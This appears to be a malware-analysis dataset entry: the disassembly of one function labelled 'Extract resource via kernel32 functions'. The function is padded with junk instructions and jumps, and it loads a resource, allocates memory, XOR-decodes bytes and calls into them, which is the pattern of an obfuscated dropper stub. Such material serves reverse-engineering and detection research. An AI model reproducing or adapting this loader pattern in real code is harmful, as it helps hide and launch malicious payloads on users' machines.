Function at 0x4015b2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edx, 0x4e6b
push esi
dec edi
push ecx
mov edx, eax
inc esi
add ebx, 0x774e
push eax
dec ebx
mov edx, ebx
add edx, ecx
mov ecx, 0x3526
mov edx, ecx
dec eax
mov edi, esi
sub eax, 0x524b
add eax, esi
dec edi
jmp 0x401565
mov esi, 0x6c7154
or eax, eax
jmp 0x4013f3
mov ebx, 0x30d40
jmp 0x401246
push sym.imp.KERNEL32.DLL_VirtualAlloc
mov edi, eax
pop ecx
dec esi
mov edx, edi
dec ebx
push dword [ecx]
sub eax, 0x59617252
jmp 0x40125e
dec esi
jmp 0x40115b
mov ebx, ecx
dec edi
add ecx, 0x4a44
inc eax
add dword [ebp - 0x88], 0xffffffff
je 0x401549
dec edi
mov ecx, eax
sub eax, 0x50325256
mov esi, 0x5756
mov eax, 0x1a5f048
add ecx, edx
dec ebx
sub eax, 0x165dab6
add ebx, 0x73446773
add esi, eax
mov ecx, edx
dec esi
add esi, 0x6a65
push eax
mov ecx, 0x7962
add ebx, esi
jmp 0x401542
sub ebx, 0x635744
inc ebx
dec ecx
jmp 0x4011d1
add edi, 0x4d31
inc edi
mov edx, 0x754c
cmp eax, 0x75bdc6
je 0x401156
ret
jmp 0x40145a
jne 0x40129d
mov ebx, 0x715668
dec edx
pop ebx
sub edi, 0x754246
mov eax, ecx
add esi, 0x7068
inc esi
mov eax, 0x4a627243
push eax
mov eax, 0x4d35
push ebx
add edx, esi
add ebx, 0x25ac
add esi, eax
sub edx, 0x4b6442
mov edi, ebx
push ebx
add ecx, ebx
add ecx, 0x32633864
mov ecx, 0x4f61
dec esi
mov eax, edi
dec ecx
call fcn.0040139c
mov eax, edx
add eax, ebx
ret
jne 0x401021
dec edx
mov ecx, edx
pop eax
dec edi
add esi, 0x7467
mov edi, eax
pop ecx
mov esi, 0x6b53
sub edi, 0x4a66
pop esi
mov edx, 0x4277
jmp 0x4010b0
sub ebx, 0x694b
mov edi, esi
sub esi, 0x32626e
push eax
dec ecx
push 0x400000
call dword [sym.imp.user32.dll_LoadStringA]
add ecx, edx
add edx, 0x3764
dec edi
jmp 0x40102f
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x10
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
jmp 0x4013de
dec ebx
mov edx, 0x734e
dec esi
pop ecx
add edx, 0x6731
mov edi, eax
sub eax, 0x5376
call ecx
inc edx
push eax
add ebx, 0x7136
mov eax, 0x4c4538
mov esi, 0x261d
sub ebx, 0x614263
mov ecx, 0x40605c
inc edi
mov eax, dword [esp]
jmp 0x40129d
sub edi, 0x7437
add ebx, 0x436c
mov edi, eax
sub edx, 0x763165
mov edi, ebx
mov ebx, dword [ecx]
inc edi
dec edi
add edi, ebx
xor ebx, 0x6f
mov edx, 0x7041
mov dword [eax], ebx
mov ebx, 0x4a4b48
add ebx, eax
sub edx, 0x3650
inc edi
inc ecx
mov edi, 0x654b
inc ebx
mov edx, ebx
inc eax
add edi, 0x725343
mov edi, ecx
dec edi
add ebx, 0x647745
jmp section..text
dec eax
mov ebx, 0x574a67
mov eax, 0x490be86
inc ebx
dec ebx
inc ecx
xor eax, 0x490bec6
dec esi
add edi, 0x486f3672
push eax
add eax, 0x77636e52
sub eax, 0x6b36
inc ebx
mov ebx, 0xdb9a40c1
inc ecx
add esi, 0x4a6f32
mov eax, ecx
xor ebx, 0xdb9a50c1
mov eax, edx
sub eax, 0x557831
inc esi
push ebx
add esi, 0x627441
sub ebx, 0x7663
add edx, 0x716747
mov edx, 0x2941
inc ebx
push edx
mov ecx, 0x635278
mov eax, edi
add edi, 0x3273
xor ecx, ecx
add eax, ecx
mov edi, 0x376e74
push ecx
dec edx
add ecx, 0x4177
jmp 0x401072
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
jmp 0x40152e
je 0x401502
inc esi
mov ecx, esi
jmp 0x401597
sub edi, 0x6c6e6a70
inc esi
xor eax, 0x23bdc6
mov edi, 0x4143534a
mov ecx, eax
jmp 0x401142
dec ebx
jne 0x401040
jmp 0x401319
inc eax
mov ebx, 0x7348
ret
leave
mov edx, ebx
add edx, esi
jmp 0x40103b
inc esi
add edi, ebx
push 0x26
push 0x405342
xor eax, eax
mov ecx, eax
jmp 0x4011fb
mov eax, dword [eax + 4]
sub esi, 0x59584e
add esi, 0x4f4f4957
jmp 0x401442
mov esi, eax
add ecx, esi
mov edx, eax
ret
add edx, esi
jmp 0x40150c
sub ebx, 0x66704a62
dec eax
sub edx, 0x61705575
inc edi
add edi, eax
inc edx
dec edi
sub eax, 0x6c597978
inc ebx
jmp 0x401135
sub edx, 0x575861
add eax, 0x416b3467
add edi, ebx
leave
add ecx, 0x643363
dec eax
jmp 0x4014f9
add edi, 0x50474f31
dec ebx
add ecx, 0x423532
add ebx, eax
mov eax, 0x75577941
mov edi, eax
pop eax
inc ecx
mov esi, 0x495238
dec eax
sub esi, 0x4e575752
jmp 0x4010c7